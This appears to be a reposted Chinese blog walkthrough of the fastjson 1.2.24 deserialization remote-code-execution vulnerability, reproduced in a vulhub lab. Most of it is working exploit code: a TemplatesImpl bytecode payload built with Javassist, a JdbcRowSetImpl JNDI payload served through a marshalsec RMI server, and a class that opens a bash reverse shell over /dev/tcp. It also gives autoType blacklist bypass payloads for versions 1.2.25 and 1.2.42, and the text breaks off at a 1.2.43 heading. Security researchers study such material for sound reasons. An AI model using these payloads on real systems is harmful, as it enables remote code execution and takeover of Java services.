栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

fastjson1.2.24反序列化漏洞

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

fastjson1.2.24反序列化漏洞

漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
复现环境:vulhub
0x01.fastjson
处理json的方式有两个:parseObject和parse

返回的类型不一样,如果你的JSON中有private属性,且没有通过setter或构造方法设置值时,底层无法通过反射的方式为属性赋值,parseObject不会解析,值为空

JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);

使用Feature时 传递参数可以让parseObject解析私有属性

简单的POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.IOException;


class Hello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public class Test {
    public static void main(String[] args) {
        //创建恶意类的实例并转换成json字符串
        Hello testHello = new Hello();
        String jsonString = JSON.toJSONString(testHello, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        //将json字符串转换成对象
        Object obj = JSON.parse(jsonString);
        System.out.println(obj);
    }
}

TemplatesImpl类的利用
TemplatesImpl中的_bytecodes可以承载自定义的恶意字节码,在实例化的过程中加载字节码造成任意代码执行
通过Javaassist动态生成class后进行base64编码进而RCE

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.base64;

public class Test {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
        cc.makeClassInitializer().insertBefore(cmd);
        // 设置类名。
        String randomClassName = "nice0e3"+System.nanoTime();
        cc.setName(randomClassName);
     
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
       
        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = new String(base64.encodebase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    ""@type":"" + NASTY_CLASS +"","+
                    ""_bytecodes":[""+evilCode_base64+""],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}n";
            // 输出构造好的POC
            System.out.println(text1);

            ParserConfig config = new ParserConfig();
            // fastjson解析POC
            // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

_bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。
_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

原理分析

调试了一下,不知道怎么讲,就挑其中一部分关键代码
分析参考博客https://www.cnblogs.com/afanti/p/10193158.html

对传进去bytecode的值会进行base64decode

bytecode会传进getTransletInstance->defineTransletClasses,跟进一下
加载字节码,生成恶意class
实例化class
接下来class.java这里会调用构造方法
会跳转到runtime的断点,可见已经执行了RCE

所有断点

JNDI注入

jndi为java服务和目录接口,JNDI提供统一的客户端API,通过不同的访问提供者接口,JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互,所以我们可以通过jdni来访问远程的url来获取我们需要的服务,那么如果服务端将对象注册到RMI注册表中,我们即可以通过jndi来对此对象进行访问。每一个对象都有键值对,与名字和对象进行绑定,可以通过名字来对对象进行访问,对象可能存储在rmi、ldap中。

使用com.sun.rowset.JdbcRowSetImpl类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#TouchFile" 9999

payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/TouchFile",
        "autoCommit":true
    }

}

TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","bash -i >& /dev/tcp/ip/9988 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将TochFile.java编译成class,并用marshalsec开启恶意rmi服务
其中可能遇到报错
java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
检查恶意class能否在80端口被访问到,可能是因为80端口没有开启http服务导致的

python3 -m http.server 80

开启http服务

TouchFile has been compiled by a more recent version of the Java Runtime (class file version 58.0), this version of the Java Runtime only recognizes class file versions up to 52.0

java版本太高,需要使用和靶场版本一样的jvm,建议用java7,之后可以看到反弹shell成功

原理分析
parseClass.java中尝试反序列化
因为我们的类derializer=null所以调用createJavaBeanDeserialize创建类
然后调用到这里,去JavaBeanInfo.java build传入的类
创建后在DefaultJSONParser.java反序列化
后面因为我本地jdbc环境有问题就不继续调试了,但可以看到我们传入的恶意类是可以被反序列化的

1.2.25绕过AutoType
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
需要开启 AutoTypeSupport才可以绕过

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

原理

如果类以L开头且以;结尾,会自动去掉这两个字符,以此绕过对com.sun的黑名单验证

黑名单与白名单

ParseConfilg.java
如果设置autoTypeSupport执行上面的代码,没有设置执行下面的

区别就在于一个先验证黑名单而另一个先验证白名单
AutoTypeSupport=False的时候执行该代码,发现acceptList是空的,此时无法进入if会直接跳转到最后抛出异常,无法继续反序列化

1.2.42及以后

1.2.42
https://www.cnblogs.com/cmx666/p/15136664.html
黑名单使用了Hash加密,但大部分黑名单内容已经被爆破出来了…
直接看payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

原理

在checkAutoType中做了一次截取类名的操作,所以我们只要双写L和;就和1.2.25一样了

1.2.43

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/434252.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号